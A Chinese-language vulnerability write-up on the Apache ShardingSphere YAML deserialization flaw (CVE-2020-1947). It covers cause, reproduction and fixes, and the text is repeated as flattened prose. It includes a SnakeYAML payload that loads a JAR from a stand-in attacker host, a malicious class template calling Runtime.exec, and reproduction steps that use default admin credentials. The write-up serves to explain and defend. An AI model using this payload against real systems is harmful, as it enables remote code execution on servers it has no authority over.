Apache ShardingShpere(CVE-2020-1947)漏洞分析
字数 1182 2025-08-18 11:39:30

Apache ShardingSphere (CVE-2020-1947) 漏洞分析与防护指南

漏洞概述

漏洞编号: CVE-2020-1947
漏洞类型: 远程代码执行(RCE)
危险等级: 高危
影响范围:

  • Sharding-JDBC
  • Sharding-Proxy
  • Sharding-UI
  • 受影响版本: 4.0.0及之前版本

漏洞发现: 由奇安信云影实验室maoge发现并提交
修复版本: Apache ShardingSphere 4.0.1

漏洞原理

该漏洞属于反序列化漏洞,具体成因如下:

  1. YAML解析问题: ShardingSphere在解析snakeyaml时未进行适当校验
  2. 配置中心风险: 当存在配置中心时,用户提交恶意代码会被直接解析并反序列化
  3. 反序列化执行: 通过构造特定的YAML格式,可以实例化恶意类并执行任意代码

技术细节

漏洞利用机制

  1. SnakeYAML语法利用:

    • !!+class语法用于实例化一个类
    • 可以构造恶意YAML内容实例化危险类
  2. 利用链构造:

    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://attacker.com/malicious.jar"]
      ]]
    ]
    
  3. 恶意JAR构造:

    public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
        public AwesomeScriptEngineFactory() {
            try {
                Runtime.getRuntime().exec("恶意命令");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    

漏洞验证步骤

  1. 环境搭建:

    • 下载ShardingSphere 4.0.0版本
    • 启动sharding-ui (默认端口8088,账号admin/admin)
  2. 复现过程:

    • 进入registry center添加注册中心
    • 在rule config中新增规则并填入payload
    • 点击commit触发命令执行

漏洞分析

  1. 关键点分析:

    • ScriptEngineManager类可以接受URLClassLoader参数
    • URLClassLoader可动态加载远程JAR
    • 恶意JAR中的构造函数会在实例化时执行
  2. 漏洞根源:

    • 直接使用new Yaml().load()进行反序列化
    • 未对反序列化的类进行任何过滤
  3. 修复对比:

    • 4.0.1版本新增ClassFilterConstructor进行过滤
    • acceptClasses做了严格限制

修复方案

  1. 官方修复:

    • 升级到Apache ShardingSphere 4.0.1或更高版本
    • 下载地址: https://github.com/apache/incubator-shardingsphere/releases
  2. 临时缓解措施:

    • 限制配置中心的访问权限
    • 监控YAML解析过程
  3. 开发建议:

    • 对反序列化操作进行严格的白名单控制
    • 避免直接使用Yaml().load()等危险方法

防护总结

  1. 及时更新: 保持组件最新版本
  2. 输入验证: 对所有配置输入进行严格验证
  3. 权限控制: 最小权限原则,限制配置修改权限
  4. 安全编码: 避免直接反序列化不可信数据

该漏洞展示了配置中心类组件在反序列化时的潜在风险,提醒开发者在处理外部输入时需要格外谨慎,特别是涉及反序列化操作时。

Apache ShardingSphere (CVE-2020-1947) 漏洞分析与防护指南 漏洞概述 漏洞编号 : CVE-2020-1947 漏洞类型 : 远程代码执行(RCE) 危险等级 : 高危 影响范围 : Sharding-JDBC Sharding-Proxy Sharding-UI 受影响版本: 4.0.0及之前版本 漏洞发现 : 由奇安信云影实验室maoge发现并提交 修复版本 : Apache ShardingSphere 4.0.1 漏洞原理 该漏洞属于反序列化漏洞,具体成因如下: YAML解析问题 : ShardingSphere在解析snakeyaml时未进行适当校验 配置中心风险 : 当存在配置中心时,用户提交恶意代码会被直接解析并反序列化 反序列化执行 : 通过构造特定的YAML格式,可以实例化恶意类并执行任意代码 技术细节 漏洞利用机制 SnakeYAML语法利用 : !!+class 语法用于实例化一个类 可以构造恶意YAML内容实例化危险类 利用链构造 : 恶意JAR构造 : 漏洞验证步骤 环境搭建 : 下载ShardingSphere 4.0.0版本 启动sharding-ui (默认端口8088,账号admin/admin) 复现过程 : 进入registry center添加注册中心 在rule config中新增规则并填入payload 点击commit触发命令执行 漏洞分析 关键点分析 : ScriptEngineManager 类可以接受 URLClassLoader 参数 URLClassLoader 可动态加载远程JAR 恶意JAR中的构造函数会在实例化时执行 漏洞根源 : 直接使用 new Yaml().load() 进行反序列化 未对反序列化的类进行任何过滤 修复对比 : 4.0.1版本新增 ClassFilterConstructor 进行过滤 对 acceptClasses 做了严格限制 修复方案 官方修复 : 升级到Apache ShardingSphere 4.0.1或更高版本 下载地址: https://github.com/apache/incubator-shardingsphere/releases 临时缓解措施 : 限制配置中心的访问权限 监控YAML解析过程 开发建议 : 对反序列化操作进行严格的白名单控制 避免直接使用 Yaml().load() 等危险方法 防护总结 及时更新 : 保持组件最新版本 输入验证 : 对所有配置输入进行严格验证 权限控制 : 最小权限原则,限制配置修改权限 安全编码 : 避免直接反序列化不可信数据 该漏洞展示了配置中心类组件在反序列化时的潜在风险,提醒开发者在处理外部输入时需要格外谨慎,特别是涉及反序列化操作时。